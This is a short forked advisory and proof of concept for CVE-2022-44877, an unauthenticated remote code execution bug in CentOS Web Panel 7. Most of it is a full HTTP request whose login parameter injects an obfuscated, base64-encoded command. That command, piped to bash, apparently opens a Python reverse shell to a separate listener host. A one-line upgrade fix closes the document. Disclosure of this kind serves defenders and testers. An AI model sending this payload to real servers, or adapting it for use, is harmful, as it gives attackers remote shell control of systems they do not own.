Forked from numanturle/# Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877
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# Centos 7 WebGui Remote Code Execution
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| # Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877 | |
| [+] Centos Web Panel 7 Unauthenticated Remote Code Execution | |
| [+] Centos Web Panel 7 - < 0.9.8.1147 | |
| [+] Affected Component ip:2031/login/index.php?login=$(whoami) | |
| [+] Discoverer: Numan Türle @ Gais Cyber Security | |
| [+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194 | |
| ## Proof of concept: | |
| POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1 | |
| Host: 10.13.37.10:2031 | |
| Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82 | |
| Content-Length: 40 | |
| Origin: https://10.13.37.10:2031 | |
| Content-Type: application/x-www-form-urlencoded | |
| User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 | |
| Referer: https://10.13.37.10:2031/login/index.php?login=failed | |
| Accept-Encoding: gzip, deflate | |
| Accept-Language: en | |
| Connection: close | |
| username=root&password=toor&commit=Login | |
| ## Solution | |
| Upgrade to CWP7 current version. |
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